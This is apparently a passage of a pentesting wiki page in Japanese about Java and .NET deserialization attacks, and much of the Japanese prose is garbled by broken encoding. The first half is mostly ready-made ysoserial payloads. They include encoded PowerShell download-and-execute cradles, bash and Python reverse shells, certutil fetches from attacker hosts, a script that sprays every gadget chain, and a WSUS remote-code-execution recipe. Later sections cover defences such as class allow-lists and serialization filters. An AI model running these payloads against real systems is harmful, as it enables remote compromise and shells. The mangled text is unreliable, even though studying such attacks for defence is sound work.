java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
java.lang.Runtime.exec() ã®ãã€ããŒããäœæããéãå®è¡ã®åºåããªãã€ã¬ã¯ãããããã® â>â ã â|âãã³ãã³ããå®è¡ããããã® â$()âããããã¯ã³ãã³ãã«pass argumentsãspacesã§åºåã£ãŠæž¡ãããšãªã©ã¯äœ¿çšã§ããŸããïŒecho -n "hello world" ã¯å¯èœã§ãããpython2 -c 'print "Hello World"' ã®ããã«ã¯ã§ããŸããïŒããã€ããŒããæ£ãããšã³ã³ãŒãããã«ã¯ããã®ãŠã§ãããŒãž ã䜿çšã§ããŸãã
次ã®ã¹ã¯ãªããã䜿ã£ãŠãWindows ãš Linux åãã®ãã¹ãŠã®å¯èœãª code executionãã€ããŒããäœæããè匱ãªãŠã§ãããŒãžã§ãã¹ãããŠãã ããïŒ
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
You can 䜿çšãã https://github.com/pwntester/SerialKillerBypassGadgetCollection ysoserialãšäžç·ã«ããã«å€ãã®exploitsãäœæã§ããŸãããã®ããŒã«ãçºè¡šãããè¬æŒã®ã¹ã©ã€ãã«ããã®ããŒã«ã®è©³çްããããŸã: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec ã¯ãJavaã®ããŸããŸãªJsonããã³Ymlã·ãªã¢ã©ã€ãºã©ã€ãã©ãªãexploitããããã®payloadsãçæããããã«äœ¿çšã§ããŸãã
ãããžã§ã¯ããã³ã³ãã€ã«ããããã«ãpom.xmlã«ãããã®äŸåé¢ä¿ã远å ããå¿
èŠããããŸãã:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
maven ãã€ã³ã¹ããŒã«ãããããžã§ã¯ããã³ã³ãã€ã«ããŠãã ãã:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
ãã®Javaã®JSONã©ã€ãã©ãªã«ã€ããŠè©³ããã¯æ¬¡ãåç §ããŠãã ãã: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
ã©ã
- ysoserial payloads ããã¹ããããå Žåããã®webappãå®è¡ã§ããŸã: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
ãªã
Javaã¯æ¬¡ã®ãããªæ§ã ãªçšéã§ã·ãªã¢ã©ã€ãºãå€çšããŸã:
- HTTP requests: ãã©ã¡ãŒã¿ãViewStateãã¯ãããŒãªã©ã®ç®¡çã§ã·ãªã¢ã©ã€ãºãåºãçšããããŸãã
- RMI (Remote Method Invocation): Java RMIãããã³ã«ã¯å®å šã«ã·ãªã¢ã©ã€ãºã«äŸåããŠãããJavaã¢ããªã±ãŒã·ã§ã³ã®ãªã¢ãŒãéä¿¡ã®åºç€ã§ãã
- RMI over HTTP: ãã®ææ³ã¯JavaããŒã¹ã®ãªããã¯ã©ã€ã¢ã³ãã®webã¢ããªã±ãŒã·ã§ã³ã§äžè¬çã«äœ¿ããããã¹ãŠã®ãªããžã§ã¯ãéä¿¡ã§ã·ãªã¢ã©ã€ãºãå©çšããŸãã
- JMX (Java Management Extensions): JMXã¯ãããã¯ãŒã¯äžã§ãªããžã§ã¯ããéåä¿¡ããéã«ã·ãªã¢ã©ã€ãºãå©çšããŸãã
- Custom Protocols: Javaã§ã¯æšæºçãªæ £ç¿ãšããŠçã®Javaãªããžã§ã¯ããéä¿¡ããããšããããããã¯ä»åŸã®exploitã®äŸã§ç€ºãããŸãã
察ç
Transient objects
Serializableãå®è£
ããã¯ã©ã¹ã¯ãã·ãªã¢ã©ã€ãºãããŠã»ãããªãã¯ã©ã¹å
ã®ä»»æã®ãªããžã§ã¯ããtransientãšããŠå®çŸ©ã§ããŸããäŸãã°ïŒ
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Serializable ãå®è£ ããå¿ èŠãããã¯ã©ã¹ã®ã·ãªã¢ã©ã€ãºãé¿ãã
ã¯ã©ã¹éå±€ã®ããã«ç¹å®ã® ãªããžã§ã¯ãã Serializable ãå®è£
ããªããã°ãªããªã å Žåãæå³ããªããã·ãªã¢ã©ã€ãºã®ãªã¹ã¯ããããŸãããããé²ãã«ã¯ããããã®ãªããžã§ã¯ãããã·ãªã¢ã©ã€ãºãããªããããåžžã«äŸå€ãæãã final 㪠readObject() ã¡ãœãããå®çŸ©ããŠãã ããã以äžã«äŸã瀺ããŸã:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Javaã«ãããDeserializationã®ã»ãã¥ãªãã£åŒ·å
Customizing java.io.ObjectInputStream 㯠deserialization ããã»ã¹ã®ã»ãã¥ãªãã£ãé«ããå®çšçãªæ¹æ³ã§ãããã®æ¹æ³ã¯ä»¥äžã®å Žåã«é©ããŠããŸã:
- deserialization ã³ãŒããããªãã®ç®¡çäžã«ããå Žå
- deserialization ã®å¯Ÿè±¡ãšãªãã¯ã©ã¹ãæ¢ç¥ã§ããå Žå
resolveClass() ã¡ãœããããªãŒããŒã©ã€ãããŠãdeserialization ãèš±å¯ãããã¯ã©ã¹ã®ã¿ã«å¶éããŸããããã«ãããæç€ºçã«èš±å¯ãããã¯ã©ã¹ïŒäŸãã°ä»¥äžã®äŸã§ã¯ Bicycle ã¯ã©ã¹ã®ã¿ïŒä»¥å€ã®ã¯ã©ã¹ã® deserialization ãé²ããŸãïŒ
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Using a Java Agent for Security Enhancement ã¯ã³ãŒãã®ä¿®æ£ãã§ããªãå Žåã®ãã©ãŒã«ããã¯ãœãªã¥ãŒã·ã§ã³ãæäŸããŸãããã®æ¹æ³ã¯äž»ã« JVM ãã©ã¡ãŒã¿ã䜿çšã㊠blacklisting harmful classes ãè¡ãå Žåã«é©çšãããŸã:
-javaagent:name-of-agent.jar
ããã¯ã峿ã®ã³ãŒã倿ŽãçŸå®çã§ãªãç°å¢ã«æé©ãªãdeserialization ãåçã«ä¿è·ããæ¹æ³ãæäŸããŸãã
äŸã¯ rO0 by Contrast Security ã確èªããŠãã ãã
Implementing Serialization Filters: Java 9 㯠ObjectInputFilter ã€ã³ã¿ãŒãã§ãŒã¹ãéã㊠serialization filters ãå°å
¥ããŸãããããã«ãããserialized ãªããžã§ã¯ãã deserialized ãããåã«æºããã¹ãæ¡ä»¶ãæå®ãã匷åãªä»çµã¿ãæäŸãããŸãããããã®ãã£ã«ã¿ã¯ã°ããŒãã«ã«ããŸãã¯ã¹ããªãŒã ããšã«é©çšã§ããdeserialization ããã»ã¹ã现ããå¶åŸ¡ã§ããŸãã
serialization filters ãå©çšããã«ã¯ããã¹ãŠã® deserialization æäœã«é©çšãããã°ããŒãã«ãã£ã«ã¿ãèšå®ããããç¹å®ã®ã¹ããªãŒã åãã«åçã«èšå®ã§ããŸããäŸãã°:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
å€éšã©ã€ãã©ãªã掻çšããã»ãã¥ãªãã£åŒ·å: ã©ã€ãã©ãªãšã㊠NotSoSerial, jdeserialize, Kryo ãªã©ã¯ãJava ã®ãã·ãªã¢ã©ã€ãºãå¶åŸ¡ã»ç£èŠããããã®é«åºŠãªæ©èœãæäŸããŸãããããã®ã©ã€ãã©ãªã¯ãã¯ã©ã¹ã®ãã¯ã€ããªã¹ãïŒãã©ãã¯ãªã¹ã管çããã·ãªã¢ã©ã€ãºåã®ã·ãªã¢ã©ã€ãºæžã¿ãªããžã§ã¯ãã®è§£æãã«ã¹ã¿ã ã·ãªã¢ã©ã€ãºæŠç¥ã®å®è£ ãªã©ã远å ã®ã»ãã¥ãªãã£å±€ãæäŸã§ããŸãã
- NotSoSerial ã¯ãã·ãªã¢ã©ã€ãºããã»ã¹ãã€ã³ã¿ãŒã»ããããŠãä¿¡é Œã§ããªãã³ãŒãã®å®è¡ãé²ããŸãã
- jdeserialize ã¯ãã·ãªã¢ã©ã€ãºããã«ã·ãªã¢ã©ã€ãºããã Java ãªããžã§ã¯ããè§£æã§ããæœåšçã«æªæã®ããå 容ã®ç¹å®ã«åœ¹ç«ã¡ãŸãã
- Kryo ã¯é«éæ§ãšå¹çæ§ãéèŠãã代æ¿ã®ã·ãªã¢ã©ã€ãºãã¬ãŒã ã¯ãŒã¯ã§ãã»ãã¥ãªãã£ãåäžããåŸãæ§æå¯èœãªã·ãªã¢ã©ã€ãºæŠç¥ãæäŸããŸãã
References
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Deserialization and ysoserial talk: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Talk about gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 and slides: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec paper: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- Deserialziations CVEs: https://paper.seebug.org/123/
JNDI Injection & log4Shell
以äžã®ããŒãžã§ãJNDI Injection ãäœããRMIãCORBA & LDAP çµç±ã§ã®æªç𿹿³ããã㊠log4shell ã®æªç𿹿³ïŒããã³ãã®è匱æ§ã®äŸïŒã確èªããŠãã ããïŒ
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - Java Message Service
The Java Message Service (JMS) API ã¯ã2 ã€ä»¥äžã®ã¯ã©ã€ã¢ã³ãéã§ã¡ãã»ãŒãžãéä¿¡ããããã® Java ã®ã¡ãã»ãŒãžæåããã«ãŠã§ã¢ API ã§ãããã㯠producerâconsumer åé¡ãæ±ãå®è£ ã§ããJMS 㯠Java Platform, Enterprise Edition (Java EE) ã®äžéšã§ãããSun Microsystems ã§éçºããã仿§ã«ããå®çŸ©ããããã®åŸ Java Community Process ã«ãã£ãŠå°ãããŠããŸãããJava EE ãããŒã¹ãšããã¢ããªã±ãŒã·ã§ã³ã³ã³ããŒãã³ããã¡ãã»ãŒãžãäœæãéä¿¡ãåä¿¡ãèªã¿åãããšãå¯èœã«ããã¡ãã»ãŒãžã³ã°æšæºã§ãã忣ã¢ããªã±ãŒã·ã§ã³ã®ç°ãªãã³ã³ããŒãã³ãéã®éä¿¡ãççµåã§ãä¿¡é Œæ§ããããéåæã«ããããšãå¯èœã«ããŸãã (From Wikipedia).
Products
ãã®ããã«ãŠã§ã¢ã䜿çšããŠã¡ãã»ãŒãžãéä¿¡ãã補åãããã€ããããŸã:
.png)
.png)
Exploitation
èŠããã«ãJMS ãå±éºãªæ¹æ³ã§äœ¿çšããŠãããµãŒãã¹ã倿°ååšããŸãããããã£ãŠããããã®ãµãŒãã¹ã«ã¡ãã»ãŒãžãéä¿¡ããããã® ååãªæš©éïŒéåžžã¯æå¹ãªèªèšŒæ
å ±ãå¿
èŠïŒãæã£ãŠããå Žåãæ¶è²»è
ïŒãµãã¹ã¯ã©ã€ãã«ãã£ãŠãã·ãªã¢ã©ã€ãºããããããª æªæããã·ãªã¢ã©ã€ãºæžã¿ãªããžã§ã¯ã ãéä¿¡ã§ããå¯èœæ§ããããŸãã
ããã¯ããã®æªçšã«ãããŠãã®ã¡ãã»ãŒãžã䜿çšãããã¹ãŠã® ã¯ã©ã€ã¢ã³ããææãã ããšãæå³ããŸãã
ãµãŒãã¹ãè匱ã§ãã£ãŠãïŒãŠãŒã¶ãŒå ¥åãå®å šã§ãªãæ¹æ³ã§ãã·ãªã¢ã©ã€ãºããŠããããïŒãè匱æ§ãæªçšããã«ã¯æå¹ãªã¬ãžã§ãããèŠã€ããå¿ èŠãããããšãå¿ããŠã¯ãããŸããã
ããŒã« JMET ã¯ãæ¢ç¥ã®ã¬ãžã§ããã䜿çšããŠè€æ°ã®æªæããã·ãªã¢ã©ã€ãºæžã¿ãªããžã§ã¯ããéä¿¡ãããããã®ãµãŒãã¹ã«æ¥ç¶ããŠæ»æããããã«äœæãããŸããããããã®ãšã¯ã¹ããã€ãã¯ããµãŒãã¹ãäŸç¶ãšããŠè匱ã§ããã䜿çšãããã¬ãžã§ããã®ãããããè匱ãªã¢ããªã±ãŒã·ã§ã³å ã«ååšããå Žåã«æ©èœããŸãã
References
-
Patchstack advisory â Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)
-
JMET talk: https://www.youtube.com/watch?v=0h8DWiOWGGA
.Net
.Net ã®æèã§ã¯ããã·ãªã¢ã©ã€ãºã®ãšã¯ã¹ããã€ã㯠Java ã®å Žåãšåæ§ã«åäœãããªããžã§ã¯ãã®ãã·ãªã¢ã©ã€ãºäžã«ç¹å®ã®ã³ãŒããå®è¡ããããã«ã¬ãžã§ãããæªçšãããŸãã
Fingerprint
WhiteBox
ãœãŒã¹ã³ãŒãã¯ä»¥äžã®åºçŸç®æã調æ»ããã¹ãã§ã:
TypeNameHandlingJavaScriptTypeResolver
泚ç®ãã¹ãã¯ãåããŠãŒã¶ãŒå¶åŸ¡ã®å€æ°ã«ãã£ãŠæ±ºå®ãããããšã蚱容ããã·ãªã¢ã©ã€ã¶ã§ãã
BlackBox
æ€çŽ¢ã¯ Base64 ãšã³ã³ãŒããããæåå AAEAAAD///// ãããµãŒããŒåŽã§ãã·ãªã¢ã©ã€ãºããåŸãŠãã·ãªã¢ã©ã€ãºãããåã®å¶åŸ¡ãäžããå¯èœæ§ã®ããé¡äŒŒãã¿ãŒã³ã察象ã«ããã¹ãã§ããããã«ã¯ TypeObject ã $type ãå«ã JSON ã XML æ§é ãå«ãŸããå ŽåããããŸããããããã«éå®ãããŸããã
ysoserial.net
ãã®å ŽåãããŒã« ysoserial.net ã䜿çšã㊠ãã·ãªã¢ã©ã€ãºã®ãšã¯ã¹ããã€ããäœæ ã§ããŸããgit ãªããžããªãããŠã³ããŒãããããããšãã° Visual Studio ã䜿ã£ãŠ ããŒã«ãã³ã³ãã€ã« ããŠãã ããã
ysoserial.net ãã©ã®ããã«ãšã¯ã¹ããã€ããäœæããããåŠã³ããå Žåã¯ãObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter ã説æãããŠãããã®ããŒãžã確èªã
ysoserial.net ã®äž»ãªãªãã·ã§ã³ã¯: --gadget, --formatter, --output and --plugin.
--gadgetã¯æªçšããã¬ãžã§ããïŒãã·ãªã¢ã©ã€ãºäžã«ã³ãã³ããå®è¡ããããã«æªçšãããã¯ã©ã¹/颿°ïŒãæå®ããããã«äœ¿çšããŸãã--formatterã¯ãšã¯ã¹ããã€ããã·ãªã¢ã©ã€ãºããæ¹æ³ãæå®ããããã«äœ¿çšããŸãïŒããã¯ãšã³ãããã€ããŒãããã·ãªã¢ã©ã€ãºããéã«äœ¿çšããŠããã©ã€ãã©ãªãææ¡ããåããã®ã䜿ã£ãŠã·ãªã¢ã©ã€ãºããå¿ èŠããããŸãïŒã--outputã¯ãšã¯ã¹ããã€ãã raw ã base64 ãšã³ã³ãŒãã§åºåããããæå®ããŸãã æ³šæ: ysoserial.net ã¯ãã€ããŒãã UTF-16LEïŒWindows ã®ããã©ã«ããšã³ã³ãŒãã£ã³ã°ïŒã§ãšã³ã³ãŒããããããraw ãååŸã㊠Linux ã³ã³ãœãŒã«ããåã«åãšã³ã³ãŒããããšãšã³ã³ãŒãã£ã³ã°äºææ§ã®åé¡ãçºçãããšã¯ã¹ããã€ããæ£ããåäœããªãå¯èœæ§ããããŸãïŒHTB JSON ããã¯ã¹ã§ã¯ãã€ããŒã㯠UTF-16LE ãš ASCII ã®äž¡æ¹ã§åäœããŸããããåžžã«ãããªããšã¯éããŸããïŒã--pluginysoserial.net 㯠ViewState ã®ãããªç¹å®ãã¬ãŒã ã¯ãŒã¯åãã® ãšã¯ã¹ããã€ããäœæãããã©ã°ã€ã³ ããµããŒãããŸãã
More ysoserial.net parameters
--minifyã¯å¯èœãªå Žå ããå°ãããã€ããŒã ãçæããŸãã--raf -f Json.Net -c "anything"ããã¯æå®ãã formatterïŒãã®å Žåã¯Json.NetïŒã§äœ¿çšã§ãããã¹ãŠã®ã¬ãžã§ããã瀺ããŸãã--sf xml㯠ã¬ãžã§ãããæå®ïŒ-gïŒãããšãysoserial.net ã âxmlâïŒå€§/å°æåãåºå¥ããªãïŒãå«ããã©ãŒããã¿ãæ€çŽ¢ããŸãã
ysoserial examples to create exploits:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net ã«ã¯ãå exploit ãã©ã®ããã«åäœããããããããçè§£ããã®ã«åœ¹ç«ã€ãéåžžã«è峿·±ããã©ã¡ãŒã¿ããããŸã: --test
ãã®ãã©ã¡ãŒã¿ãæå®ãããšãysoserial.net 㯠詊è¡ãšã㊠exploit ãããŒã«ã«ã§å®è¡ ããpayload ãæ£ããåäœããã確èªã§ããŸãã
ãã®ãã©ã¡ãŒã¿ã¯äŸ¿å©ã§ãããªããªããã³ãŒãã確èªãããšæ¬¡ã®ãããªã³ãŒãã®æçãèŠã€ããããã§ãïŒObjectDataProviderGenerator.cs ããïŒ:
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
ã€ãŸããexploitããã¹ãããããã«ã³ãŒã㯠serializersHelper.JsonNet_deserialize ãåŒã³åºããŸãã
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
åè¿°ã® ã³ãŒãã¯äœæããã exploit ã«å¯ŸããŠè匱ã§ãããããã£ãŠã.Net ã¢ããªã±ãŒã·ã§ã³ã§åæ§ã®ç®æãèŠã€ããå Žåããã®ã¢ããªã±ãŒã·ã§ã³ãããããè匱ã§ãã
ãã®ããã--test ãã©ã¡ãŒã¿ã«ãããysoserial.net ãäœæã§ãã deserialization exploit ã«å¯ŸããŠãã©ã®ã³ãŒãã®å¡ãè匱ããææ¡ã§ããŸãã
ViewState
ãã®æçš¿ïŒhow to try to exploit the __ViewState parameter of .NetïŒãåç §ããŠãä»»æã®ã³ãŒããå®è¡ããæ¹æ³ã確èªããŠãã ããããã被害è ãã·ã³ã§äœ¿çšãããŠããç§å¯ãæ¢ã«ç¥ã£ãŠããå Žåã¯ãread this post to know to execute code ããèªã¿ãã ããã
å®éã®äºäŸ: WSUS AuthorizationCookie & Reporting SOAP â BinaryFormatter/SoapFormatter RCE
- 圱é¿ãåãããšã³ããã€ã³ã:
/SimpleAuthWebService/SimpleAuth.asmxâGetCookie()ã«ãŠ AuthorizationCookie ã埩å·ããããã®åŸ BinaryFormatter ã§ deserialized ãããŸãã/ReportingWebService.asmxâReportEventBatchããã³é¢é£ãã SOAP æäœã SoapFormatter sinks ã«å°éããŸãïŒWSUS ã³ã³ãœãŒã«ãã€ãã³ããåã蟌ããš base64 gadget ãåŠçãããŸãã- æ ¹æ¬åå : æ»æè å¶åŸ¡ã®ãã€ãåã峿 Œãª allowâlists/binders ãªãã§ã¬ã¬ã·ãŒãª .NET ãã©ãŒããã¿ïŒBinaryFormatter/SoapFormatterïŒã«å°éãããããgadget ãã§ã€ã³ã WSUS ãµãŒãã¹ã¢ã«ãŠã³ãïŒå€ãã®å Žå SYSTEMïŒãšããŠå®è¡ãããŸãã
æå°éã®æªçšïŒReporting ãã¹ïŒ:
- ysoserial.net ã§ .NET gadget ãçæãïŒBinaryFormatter ãŸã㯠SoapFormatterïŒãbase64 ã§åºåããŸããäŸãã°:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"
# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
ReportEventBatchçšã® SOAP ãäœæããbase64 gadget ãåã蟌ãã§/ReportingWebService.asmxã« POST ããŸãã- 管çè ã WSUS ã³ã³ãœãŒã«ãéããšãã€ãã³ãããã·ãªã¢ã©ã€ãºãã gadget ãçºç«ãïŒSYSTEM ãšããŠã® RCEïŒã
AuthorizationCookie / GetCookie()
- åœé ããã AuthorizationCookie ãåãå ¥ãããã埩å·ãããBinaryFormatter sink ã«æž¡ãããããšã§ãå°éå¯èœã§ããã° preâauth RCE ãåŒãèµ·ããããšãã§ããŸãã
Public PoC (tecxx/CVE-2025-59287-WSUS) ã®ãã©ã¡ãŒã¿:
$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"
See Windows Local Privilege Escalation â WSUS
察ç
.Net ã«ããããã·ãªã¢ã©ã€ãºã«äŒŽããªã¹ã¯ã軜æžããããã«ïŒ
- ããŒã¿ã¹ããªãŒã ã«ãªããžã§ã¯ãåãæ±ºå®ãããªãã å¯èœãªå Žåã¯
DataContractSerializerãXmlSerializerã䜿çšããã JSON.Netã䜿çšããå ŽåãTypeNameHandlingãNoneã«èšå®ããïŒTypeNameHandling = TypeNameHandling.NoneJavaScriptSerializerãJavaScriptTypeResolverãšçµã¿åãããŠäœ¿çšããªãã- ãã·ãªã¢ã©ã€ãºå¯èœãªåãå¶éããã
System.IO.FileInfoã®ããã«ãµãŒãäžã®ãã¡ã€ã«ã®ããããã£ã倿Žã§ãããµãŒãã¹æåŠïŒDoSïŒæ»æã«ã€ãªããå¯èœæ§ããã .Net åã®åºæã®ãªã¹ã¯ãçè§£ããã System.ComponentModel.DataAnnotations.ValidationExceptionã®Valueããããã£ã®ããã«ãå±éºãªããããã£ãæã€åã«æ³šæããã ãããã¯æªçšãããå¯èœæ§ãããã- åã®ã€ã³ã¹ã¿ã³ã¹åãå®å
šã«å¶åŸ¡ããã æ»æè
ããã·ãªã¢ã©ã€ãºããã»ã¹ã«åœ±é¿ãäžããããªãããã«ãã
DataContractSerializerãXmlSerializerã§ãã£ãŠãè匱ã«ãªãã®ãé²ãã - ãã¯ã€ããªã¹ãå¶åŸ¡ãå®è£
ããã
